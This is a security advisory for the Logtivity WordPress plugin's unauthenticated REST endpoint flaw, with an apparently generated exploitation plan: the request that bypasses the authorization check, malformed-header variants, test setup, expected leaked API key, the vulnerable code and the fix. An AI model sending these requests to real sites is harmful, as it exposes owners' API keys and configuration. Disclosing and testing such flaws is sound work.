Activity Logs, User Activity Tracking, Multisite Activity Log from Logtivity <= 3.3.6 - Unauthenticated Information Exposure
Description
The Activity Logs, User Activity Tracking, Multisite Activity Log from Logtivity plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.3.6. This makes it possible for unauthenticated attackers to extract sensitive user or configuration data.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v3.3.7
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-42673 ## 1. Vulnerability Summary The **Activity Logs, User Activity Tracking, Multisite Activity Log from Logtivity** plugin (<= 3.3.6) contains an unauthenticated information exposure vulnerability in its REST API implementation. The logic in the authorizat…
Show full research plan
Exploitation Research Plan - CVE-2026-42673
1. Vulnerability Summary
The Activity Logs, User Activity Tracking, Multisite Activity Log from Logtivity plugin (<= 3.3.6) contains an unauthenticated information exposure vulnerability in its REST API implementation. The logic in the authorization check for the /logtivity/v1/options endpoint is flawed, allowing any request to bypass authentication if the Authorization header is missing or does not start with the Bearer prefix. This allows attackers to extract sensitive plugin configuration data and site metadata.
2. Attack Vector Analysis
- Endpoint:
/wp-json/logtivity/v1/options - Method:
GET - Authentication: None required (Unauthenticated).
- Precondition: The plugin must be configured with an API Key (otherwise the
permission_callbackreturns amissing_api_keyerror). - Vulnerable Component:
Logtivity_Rest_Endpoints::verifyAuthorization
3. Code Flow
- Registration: The plugin registers a REST route in
Core/Services/Logtivity_Rest_Endpoints.php.register_rest_route( 'logtivity/v1', '/options', [ 'methods' => 'GET', 'permission_callback' => function (WP_REST_Request $request) { return $this->verifyAuthorization($request->get_header('Authorization')); }, 'callback' => function () { ... }, ] ); - Authorization Bypass: The
verifyAuthorizationfunction inCore/Services/Logtivity_Rest_Endpoints.php(lines 73-101) contains the following logic:protected function verifyAuthorization(string $authHeader) { if ($apikey = (new Logtivity_Options())->getApiKey()) { try { $keys = explode(' ', $authHeader); if (count($keys) == 2 && $keys[0] == 'Bearer') { // ... token parsing and domain validation logic ... } // BUG: If count != 2 OR $keys[0] != 'Bearer', // execution skips the parsing and hits this return: return true; } catch (Throwable $e) { return new WP_Error('invalid_token', $e->getMessage(), ['status' => 401]); } } return new WP_Error('missing_api_key', ..., ['status' => 401]); } - Data Exposure: If
verifyAuthorizationreturnstrue, the callback executes (lines 48-60):- It calls
$options->getOptions(). - It retrieves
logtivity_last_settings_check_in_at. - It returns the aggregated options, check-in delay, and plugin version as a JSON response.
- It calls
4. Nonce Acquisition Strategy
This endpoint does not require a WordPress nonce. It uses a custom permission_callback based on the Authorization header, which is bypassed as described above.
5. Exploitation Strategy
Step-by-Step Plan:
- Identify Target: Verify the plugin is installed and active at
/wp-content/plugins/logtivity/. - Trigger Bypass: Send a
GETrequest to the vulnerable REST endpoint. Do not include anAuthorizationheader, or include a malformed one (e.g.,Authorization: Basic admin:password). - Receive Payload: The server will return a
200 OKresponse containing the JSON-encoded configuration options of the plugin.
HTTP Request (using http_request tool):
{
"method": "GET",
"url": "http://localhost:8080/wp-json/logtivity/v1/options",
"headers": {
"Accept": "application/json"
}
}
6. Test Data Setup
- Install Plugin: Ensure
logtivityversion 3.3.6 is active. - Configure API Key: The vulnerability requires
(new Logtivity_Options())->getApiKey()to return a truthy value.- Use WP-CLI to set a dummy API key:
(Note: The option namewp option update logtivity_api_key "VULN-RESEARCH-KEY-9999"logtivity_api_keyis inferred from thegetApiKeymethod name; if this fails, checkwp option list --search=logtivityto find the correct key).
- Use WP-CLI to set a dummy API key:
- Set Check-in Data:
wp option update logtivity_last_settings_check_in_at '{"date": "2025-01-01 12:00:00"}'
7. Expected Results
- Response Code:
200 OK - Response Body: A JSON object containing sensitive configuration.
{ "logtivity_api_key": "VULN-RESEARCH-KEY-9999", "logtivity_last_settings_check_in_at": "2025-01-01 12:00:00", "logtivity_checkin_delay": "...", "version": "3.3.6", ... other options ... }
8. Verification Steps
- Check Output: Verify the response JSON contains the
logtivity_api_keyor other settings defined in the database. - Verify Unauthenticated Access: Repeat the
http_requestwhile logged out (ensure noCookieheaders are sent) to confirm no session is required.
9. Alternative Approaches
If the GET request without an Authorization header fails (e.g., due to a WAF or server configuration requiring the header to be present):
- Try providing a non-matching Bearer string:
Authorization: Bearer(single word). - Try a different auth type:
Authorization: Negotiate test. - These will cause
count($keys) == 2 && $keys[0] == 'Bearer'to be false, reaching thereturn true;bypass.
Summary
The Logtivity plugin is vulnerable to unauthenticated information exposure due to a logic flaw in the REST API authorization check. Attackers can bypass authentication by providing a malformed or missing Authorization header, allowing them to retrieve sensitive plugin configuration, API keys, and site metadata via the `/logtivity/v1/options` endpoint.
Vulnerable Code
// Core/Services/Logtivity_Rest_Endpoints.php:73-101 protected function verifyAuthorization(string $authHeader) { if ($apikey = (new Logtivity_Options())->getApiKey()) { try { $keys = explode(' ', $authHeader); if (count($keys) == 2 && $keys[0] == 'Bearer') { $payload = $this->parseToken($keys[1], $apikey); $issuer = $payload->iss ?? ''; if ($this->compareDomains($issuer, logtivity_get_app_url()) == false) { throw new Exception( sprintf( 'Request Source: %s', $issuer ? 'invalid' : 'unidentified' ) ); } $audience = $payload->aud ?? ''; if ($this->compareDomains($audience, site_url()) == false) { throw new Exception( sprintf( 'Target Site: %s', $audience ? 'incorrect' : 'unidentified' ) ); } } return true; // <--- BUG: This is reached if the 'if' condition (Bearer check) fails, bypassing auth. } catch (Throwable $e) { return new WP_Error('invalid_token', $e->getMessage(), ['status' => 401]); } } return new WP_Error('missing_api_key', 'The API Key has not been set on this site', ['status' => 401]); }
Security Fix
@@ -99,7 +99,8 @@ ); } } - - return true; + else { + return new WP_Error('unauthorized', 'Unauthorized access', ['status' => 401]); + } + + return true; } catch (Throwable $e) {
Exploit Outline
The exploit targets the `/wp-json/logtivity/v1/options` REST API endpoint. To trigger the vulnerability, an unauthenticated attacker sends a GET request to this endpoint while intentionally omitting the `Authorization` header or providing a header that does not follow the `Bearer [token]` format (for example, using `Authorization: Basic ...` or `Authorization: Malformed`). Because the `verifyAuthorization` function only performs validation inside an `if` block that checks for the `Bearer` prefix and returns `true` by default if that prefix is missing, the request is authorized. The server then responds with a JSON object containing the plugin's configuration options, including the Logtivity API key and other site settings.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.